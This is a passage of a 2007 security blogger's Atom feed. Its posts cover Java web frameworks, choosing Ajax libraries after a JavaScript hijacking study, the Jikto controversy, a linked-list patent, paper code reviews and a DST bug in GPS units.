src='https://blogger.googleusercontent.com/tracker/35979354-6345339827531208593?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6345339827531208593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/04/false-positives-vs-non-exploitables.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6345339827531208593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6345339827531208593'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/04/false-positives-vs-non-exploitables.html' title='False Positives vs. Non-Exploitables'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_5n56hbQMEaU/RjLAivr9N6I/AAAAAAAAAAk/U12eyHEcbUs/s72-c/fpfn.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5013469827285701615</id><published>2007-04-15T00:43:00.000Z</published><updated>2007-04-15T00:55:31.659Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='xsrf'/><category scheme='http://www.blogger.com/atom/ns#' term='libraries'/><title type='text'>Struts, I never knew thee</title><content type='html'>It's certainly not a complete transformation, yet, but in small projects, I think I'm going to give up on &lt;a href="http://struts.apache.org/1.x/index.html"&gt;Struts Action&lt;/a&gt;, and am going to take &lt;a href="http://mc4j.org/confluence/display/stripes/Home"&gt;Stripes&lt;/a&gt; for a spin.  Once I finally got my head around all the configuration (or at least enough configuration to get an application operational), I really began to love Struts, but there was always something very inelegant about it.&lt;br /&gt;Now, all my &lt;a href="http://rubyonrails.org/"&gt;Ruby on Rails&lt;/a&gt; fanboy co-workers make fun of Stripes because in Java, it's probably too little, too late.  But to me, it's a close-to perfect balance between Struts (where you must understand everything that's going on) and Rails (where you don't know squat about what's going on).  I have a problem with not knowing what's going on, as in Rails.  And I know that if you spend enough time, you &lt;span style="font-weight: bold;"&gt;can&lt;/span&gt; figure out what Rails is doing.  But it's ridiculously simple to do the ridiculously simple in Rails, but if you need to customize that in the least (say, remove key exposure), then you're going to spend as much time re-implementing things, in which case you save yourself no development time, and at a substantial cost (it's basically CGI, so long-running processes have to be fork()'ed and detached).  And with Struts, knowing what's going on comes at a huge cost - you have a bazillion configuration files, and as soon as you use the Struts tag libraries, you have to make all the components (an action, a form bean, and the JSP) all at once.&lt;br /&gt;So my task for this week is to get a nice-looking base ActionBean class for Stripes that I can use with utilities necessary to generate and check action tokens to deal with XSRF and Javascript Hijacking.  Then on to adding &lt;a href="http://www.prototypejs.org/"&gt;Prototype&lt;/a&gt; to some mock-up apps around the house.&lt;br /&gt;And if you can't tell from this post, I'm really slow about adopting new frameworks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5013469827285701615?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://mc4j.org/confluence/display/stripes/Home' title='Struts, I never knew thee'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5013469827285701615/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/04/struts-i-never-knew-thee.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5013469827285701615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5013469827285701615'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/04/struts-i-never-knew-thee.html' title='Struts, I never knew thee'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6567568963535659031</id><published>2007-04-11T00:33:00.000Z</published><updated>2007-04-11T00:58:28.449Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='libraries'/><title type='text'>Should We Trust Frameworks?</title><content type='html'>In light of &lt;a href="http://extra.fortifysoftware.com/blog/2007/04/javascript_hijacking_whos_resp.html"&gt;Fortify's recent study of FLOSS libraries and frameworks for Ajax with regards to Javascript Hijacking&lt;/a&gt;, I thought I would provide some help in making decisions on whether to use a framework/library/API, or to roll your own for what it is you're doing.&lt;br /&gt;&lt;br /&gt;Obviously, it would be foolish of me to have a &amp;quot;sky is falling&amp;quot; mentality about the findings, but there are some common-sense things to keep in mind when selecting an API or writing a new API for what you need to do.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;New is not always better.  It's just new.  This applies to API's and technologies both.  For example, when some FLOSS project releases a brand spankin' new Ajax library, that doesn't mean it's better than everything else out there. &lt;br /&gt;&lt;/li&gt;&lt;li&gt;Do &lt;span style="font-weight: bold;"&gt;you&lt;/span&gt; need a new technology?  Is Ajax really going to substantially improve your user experience?  Or are there other features that should be implemented first?  Whatever the new technology is that you hope to implement with the API, evaluate your need for the technology in general before you even go to selecting a tool provider.&lt;/li&gt;&lt;li&gt;Is the provider a trusted source?  This is becoming harder to deal with as really rich, interactive web UI's are becoming the norm.  Several years ago, there was a shift to making large improvements for the sake of developers, and MVC was going mainstream in webapps.  After a few years, a handful of really good MVC frameworks emerged.  Can you wait that few years for the really good new framework to emerge?&lt;/li&gt;&lt;li&gt;I don't have a metric for this, but is there a &amp;quot;number of man-hours invested into development&amp;quot; appropriate for the function the library provides?  For example, are you going to pick an API by a guy who spends a couple of hours on the weekends developing the tool, or something where there's a really active development team spending a total number of hours far exceeding the one guy?  More is not necessarily better, but in the FLOSS community, really active projects &lt;span style="font-weight: bold;"&gt;generally&lt;/span&gt; get a little more momentum in getting things fixed.&lt;/li&gt;&lt;li&gt;Is the API/toolset extensible?  This is a huge one for me.  I &lt;span style="font-weight: bold;"&gt;want&lt;/span&gt; to like Ruby on Rails, but I have a real problem with key exposure.  And I have a real, real problem with not being able to work my way to the internals to make Rails work with a layer of indirection without having to write all my apps to use it - end result, it's just as quick for me to write my apps in a &amp;quot;slow&amp;quot; framework where I can change as necessary.&lt;/li&gt;&lt;li&gt;Has the provider responded to findings in the past?  Do they fix security things?  Or do they ignore them and possibly provide documentation so you can fix it yourself?&lt;/li&gt;&lt;li&gt;Will the API save you enough time and give you enough flexibility to outweigh the benefits of writing it yourself?  I can't phrase this in the right way strongly enough.  Fortify found problems with a lot of Ajax libraries.  But they are &lt;span style="font-weight: bold;"&gt;far&lt;/span&gt; more likely (the active ones, anyhow) to fix the problem and fix it right than you are, unless you're one of them.  Not an insult to you, but if you're really good at writing applications, try to spend your time doing that, rather than writing your own frameworks.&lt;/li&gt;&lt;/ul&gt;The question on the last point probably came out wrong.  If you even think for a moment that you can write the API yourself, please reconsider and look into some of the more mature API's and frameworks out there.  I think all of us who do security assessment have seen too many opportunities to use good API's go by the wayside and be replaced with home-grown API's that are really deficient.  The two things in the past that I still see come to surface are home-grown crypto API's (&lt;span style="font-weight: bold;"&gt;really&lt;/span&gt; bad idea), and home-grown MVC that almost always have directory traversal, forced browsing, or arbitrary object instantiation issues.&lt;br /&gt;&lt;br /&gt;So, even though Fortify found some problems with the frameworks out there, please consider using one of those.  But before you consider using one of those, consider whether it's really time to implement that shiny new technology at all.  You might have better functionality that you can provide without committing to something that's really immature right now.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6567568963535659031?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://extra.fortifysoftware.com/blog/2007/04/javascript_hijacking_whos_resp.html' title='Should We Trust Frameworks?'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6567568963535659031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/04/should-we-trust-frameworks.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6567568963535659031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6567568963535659031'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/04/should-we-trust-frameworks.html' title='Should We Trust Frameworks?'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6905109346735543556</id><published>2007-03-23T02:18:00.000Z</published><updated>2007-03-23T02:18:22.573Z</updated><title type='text'>More on: Opinion: Jikto - Evil by the Good that will result in Good</title><content type='html'>A friend pinged me in confidence, regarding my last statement on the post:&lt;br /&gt;&lt;blockquote&gt;"the good guys will be able to invent a silver bullet to fix this thing once and for all."&lt;/blockquote&gt;One really bad thing about the type-written word is that it's very difficult for vocal inflections to come across properly.  Anybody who knows me personally knows that I tend to think with my mouth at times, rather than with my brain - I say the words before I have a chance to process them, &lt;span style="font-weight: bold;"&gt;and&lt;/span&gt; I tend to use sarcasm more than is really prudent.&lt;br /&gt;&lt;br /&gt;The remark I made about the good guys finding a silver bullet was &lt;span style="font-weight: bold;"&gt;and &lt;/span&gt;was not meant to be sarcastic.  Here are several things I can use to clarify the remark:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I don't think there's going to be some "magical solution" that will make XSS go away all by itself.  History and browser security tells us so.&lt;/li&gt;&lt;li&gt;I &lt;span style="font-weight: bold;"&gt;do&lt;/span&gt; believe there's a cure (output filtering, XHTML, proper input filtering, level of indirection) for it, but it doesn't implement itself.  It takes a lot of work to discover existing problems, fix those existing problems, and instill a development culture of good coding practices.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;I &lt;span style="font-weight: bold;"&gt;do&lt;/span&gt; believe that the organizations that want to be rid of XSS can be rid of it, but again, it's hard.&lt;/li&gt;&lt;li&gt;I am &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; sorry I made the statement.&lt;/li&gt;&lt;li&gt;I &lt;span style="font-weight: bold;"&gt;am&lt;/span&gt; sorry for not clarifying what I meant.  I shall try in the future to make sure that comments I type don't rely on the reader to read with the proper vocal inflections to understand the meaning - especially since English is not the primary language of many of my readers.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;And Billy Hoffman (or somebody pretending to be Billy - but they type a lot like he speaks) has posted a &lt;a href="http://portal.spidynamics.com/blogs/spilabs/archive/2007/03/22/Speaking-at-Shmoo.aspx"&gt;blog entry explaining&lt;/a&gt; what the discussion will be about, and defending the means by which the information will be disclosed.  And with that, I acquiesce any further discussion on the matter directly to Billy himself - how dare I try to tell you what he meant.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6905109346735543556?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sylvanvonstuppe.blogspot.com/2007/03/opinion-jikto-evil-by-good-that-will.html' title='More on: Opinion: Jikto - Evil by the Good that will result in Good'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6905109346735543556/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/more-on-opinion-jikto-evil-by-good-that.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6905109346735543556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6905109346735543556'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/more-on-opinion-jikto-evil-by-good-that.html' title='More on: Opinion: Jikto - Evil by the Good that will result in Good'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5797143301343358387</id><published>2007-03-22T16:38:00.000Z</published><updated>2007-03-22T16:58:25.769Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Opinion: Jikto - Evil by the Good that will result in Good</title><content type='html'>At &lt;a href="http://www.shmoocon.org/"&gt;Shmoocon&lt;/a&gt;, Billy Hoffman of &lt;a href="http://www.spidynamics.com/index.html"&gt;SPI Dynamics&lt;/a&gt; is supposed to release information about a tool he's been working on called &lt;a href="http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci1248127,00.html"&gt;Jikto&lt;/a&gt;.  And a lot of &lt;a href="http://ha.ckers.org/blog/20070321/jikto-for-good-or-jikto-for-evil/"&gt;stink&lt;/a&gt; has &lt;a href="http://jeremiahgrossman.blogspot.com/2007/03/jikto-crossing-line.html"&gt;come up&lt;/a&gt; about whether the tool is &lt;a href="http://www.docuverse.com/blog/donpark/2007/03/20/black-or-white-hat"&gt;good or evil&lt;/a&gt;.  And here's my post to let you know that I'm going to sit comfortably on the fence.&lt;br /&gt;&lt;br /&gt;If the good guys were always ahead of the bad guys, then this would be evil, but it also wouldn't matter.  The thing is, because the bad guys have more time resources than the good guys,  they have other advantages (you have to make your app work exactly as expected under &lt;span style="font-weight: bold;"&gt;all &lt;/span&gt;circumstances;  they have to make it behave abnormally under &lt;span style="font-weight: bold;"&gt;one&lt;/span&gt; circumstance) the good guys always do things in response to what the bad guys are doing.&lt;br /&gt;&lt;br /&gt;See, Firefox and IE didn't add their anti-phishing technology, and then the bad guys started phishing.  We didn't start doing source code analysis, and then the attackers responded by trying to make SQL injection.  We didn't decide to use single-use tokens on form submits, and then the bad guys responded by finding XSRF attacks.  All of these things happened in the reverse order.  I wish it weren't true, but it is.  The bad guys work in an environment where:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;They have all the time in the world because their attacks don't have a project deadline&lt;/li&gt;&lt;li&gt;They're rewarded for creativity, or if they're not recognized by their organization for creativity, they'll do really creative stuff on their own and make all the money personally for it&lt;/li&gt;&lt;li&gt;They have all the targets in the world, not just one&lt;/li&gt;&lt;li&gt;They have lots and lots and lots of people because (strangely) they don't have to pay them.  (Black markets are really interesting one - they get more resources because they &lt;span style="font-weight: bold;"&gt;don't&lt;/span&gt; have to be paid - there's not an economical limit to the number of people they can add).&lt;/li&gt;&lt;/ul&gt;So, Billy is a good guy.  He's uber sharp, and I think Jikto will be a killer app.  And Billy is on the white side of the fence.  But maybe a javascript hacking botnet is exactly what the industry needs to get all those organizations who don't currently take security seriously to begin doing so.  And maybe because a good guy released a goodbad or badgood tool to the bad guys (or to the public in general, which includes the bad guys), the good guys will be able to invent a silver bullet to fix this thing once and for all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5797143301343358387?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci1248127,00.html' title='Opinion: Jikto - Evil by the Good that will result in Good'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5797143301343358387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/opinion-jikto-evil-by-good-that-will.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5797143301343358387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5797143301343358387'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/opinion-jikto-evil-by-good-that-will.html' title='Opinion: Jikto - Evil by the Good that will result in Good'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-167153682344417778</id><published>2007-03-22T15:28:00.000Z</published><updated>2007-03-22T16:35:02.109Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='politics'/><title type='text'>It's a real patent</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_5n56hbQMEaU/RgKhn0-vIgI/AAAAAAAAAAc/9hAdtB8Dvxk/s1600-h/7028023.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://3.bp.blogspot.com/_5n56hbQMEaU/RgKhn0-vIgI/AAAAAAAAAAc/9hAdtB8Dvxk/s320/7028023.png" alt="" id="BLOGGER_PHOTO_ID_5044772238217126402" border="0" /&gt;&lt;/a&gt;In &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/03/patent-nonsense.html"&gt;an earlier post&lt;/a&gt;, I mentioned that somebody managed to get a patent for the doubly-linked list.  A friend told me it was a hoax, so I did a little research.  Turns out, it was &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; a hoax - Ming-Jen Wang of LSI was awarded patent number 7028023.  The friend who told me it was a hoax is no longer a friend.&lt;br /&gt;&lt;br /&gt;On the other hand, it's &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; simply the doubly-linked list that was patented.  It was a tertiary list of pointers for indexing on top of the doubly-linked list.  That is, a doubly linked list allows you to iterate through the items forward and backwards by some key field.  Wang's patent is on adding another key field that you can iterate through the list by something other than the key field.  So it appears one of two things is going on here:  1) I &lt;span style="font-weight: bold;"&gt;totally&lt;/span&gt; don't understand the patent (entirely possible - feel free to correct me if that's the case), or 2) a patent was awarded to an incremental improvement of an existing algorithm by implementing the same algorithm a second time.  Like making a brick wall stronger by using a second layer of bricks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-167153682344417778?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://patft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=%2Fnetahtml%2FPTO%2Fsrchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=7028023.PN.&amp;OS=PN/7028023&amp;RS=PN/7028023' title='It&apos;s a real patent'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/167153682344417778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/its-real-patent.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/167153682344417778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/167153682344417778'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/its-real-patent.html' title='It&apos;s a real patent'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_5n56hbQMEaU/RgKhn0-vIgI/AAAAAAAAAAc/9hAdtB8Dvxk/s72-c/7028023.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-1432635417575244339</id><published>2007-03-19T13:29:00.000Z</published><updated>2007-03-19T13:52:12.237Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='politics'/><title type='text'>Patent Nonsense</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_5n56hbQMEaU/Rf6Qc-q_XzI/AAAAAAAAAAU/mMg4NzGAwic/s1600-h/DSC_0015.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_5n56hbQMEaU/Rf6Qc-q_XzI/AAAAAAAAAAU/mMg4NzGAwic/s320/DSC_0015.jpg" alt="" id="BLOGGER_PHOTO_ID_5043627460235583282" border="0" /&gt;&lt;/a&gt;Admittedly, I've not read the entire patent, but this guy managed to get a patent for the linked list.  If you read only the Abstract, it looks like the patent would cover using a list of pointers to point to items in a collection - not the items in the collection containing pointers to the next item.  Reading the details, though, shows this not to be the case (phew!  Was thinking that even Blaise Pascal wouldn't be immune to this one!)&lt;br /&gt;&lt;br /&gt;It looks like (only when you read the detail) that the patent would truly only cover doubly-linked (or n-linked) lists, not singularly-linked lists.  However, this is still a really broad patent of a data structure.  I told a buddy who is a transportation engineer that this would be akin to patenting the wheel.  Not the tire.  Not a particular type of wheel.  The wheel.&lt;br /&gt;&lt;br /&gt;Living in a capitalist society, the one thing that bothers me the most about the patent office is not the patents they allow through.  It's that the patent office has a monopoly on the patent process.  See, as security professionals, if we decide that a standard of measurement is inadequate, we can invent a new standard of measurement, get a bunch of other security professionals on board, and the standard is effectively changed.  What we need is a new patent office.  But if we were to start a new patent office, and everybody bought into it, it still wouldn't be &lt;span style="font-weight: bold;"&gt;the&lt;/span&gt; patent office.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-1432635417575244339?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://yro.slashdot.org/yro/07/03/19/112247.shtml' title='Patent Nonsense'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/1432635417575244339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/patent-nonsense.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1432635417575244339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1432635417575244339'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/patent-nonsense.html' title='Patent Nonsense'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_5n56hbQMEaU/Rf6Qc-q_XzI/AAAAAAAAAAU/mMg4NzGAwic/s72-c/DSC_0015.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5317423411128515695</id><published>2007-03-19T00:53:00.000Z</published><updated>2007-03-19T01:02:01.203Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='good habits'/><title type='text'>A Really Best Good Practice</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_5n56hbQMEaU/Rf3fN-q_XyI/AAAAAAAAAAM/gPKKjZ34zTg/s1600-h/DSC_0001.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://2.bp.blogspot.com/_5n56hbQMEaU/Rf3fN-q_XyI/AAAAAAAAAAM/gPKKjZ34zTg/s320/DSC_0001.jpg" alt="" id="BLOGGER_PHOTO_ID_5043432588979429154" border="0" /&gt;&lt;/a&gt;It's been a few years since I've written a lot of code.  Certainly I've written individual scripts to perform particular hacks, and I've cobbled together little systems here and there over the past few years, but not writing code day in and day out, I had forgotten the value of something very important.&lt;br /&gt;Last week, I was re-introduced to manual code review - and on paper at that.  I used to have a co-worker who always insisted on printing out code, complete with line numbers.  He'd have a highlighter and a pencil handy.  I never really understood what the big deal was.  But last week, being re-introduced to it, I saw value in it like I had never seen.&lt;br /&gt;There's a great deal of value in getting your code away from the computer to analyze it.  When you review it on the computer, you have the ability to fix it right away, rather than see pieces in context to determine better &lt;span style="font-weight: bold;"&gt;architectural&lt;/span&gt; changes that you might not have otherwise observed.  Also, getting the code on paper gives you the opportunity to really focus on a section of code, without being distracted by other sections, or (heaven forbid) email, IM, the newsreader, etc.&lt;br /&gt;And there's even greater value in getting your code in front of your teammates.  Even if you're the sharpest person on your team (I am not), you can learn from the less sharp on your team, &lt;span style="font-weight: bold;"&gt;and&lt;/span&gt; you're doing a benefit to those on your team who aren't familiar with particular algorithms or techniques.&lt;br /&gt;So if you don't do it, begin doing team code reviews.  On paper.  With a highlighter and a pencil.  And if you can't do it on the entire codebase, do it particularly on the most critical sections of code (which might &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; be the most interesting parts).  You might actually find some things a static analysis or a pen test might not find.  And you just might learn some things that help you write better code the first time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5317423411128515695?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5317423411128515695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/really-best-good-practice.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5317423411128515695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5317423411128515695'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/really-best-good-practice.html' title='A Really Best Good Practice'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_5n56hbQMEaU/Rf3fN-q_XyI/AAAAAAAAAAM/gPKKjZ34zTg/s72-c/DSC_0001.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-7646404282978816256</id><published>2007-03-11T13:54:00.000Z</published><updated>2007-03-11T13:57:39.716Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='other'/><title type='text'>Bitten by the Y2K7 Bug</title><content type='html'>Was about to go to some Geocaching when it occurred to me that GPSr's use the time in order to know where the satellites are.  If you're using your GPSr to keep you from getting lost in the wilderness, make sure you manually adjust for DST (assuming you're in a DST zone, and your GPSr doesn't know about the legislative changes).  You might think you're headed back to the trail and end up heading into the mouth of a volcano.&lt;br /&gt;&lt;br /&gt;See what happens when we rely too much on tools?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-7646404282978816256?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/7646404282978816256/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/bitten-by-y2k7-bug.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7646404282978816256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7646404282978816256'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/03/bitten-by-y2k7-bug.html' title='Bitten by the Y2K7 Bug'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 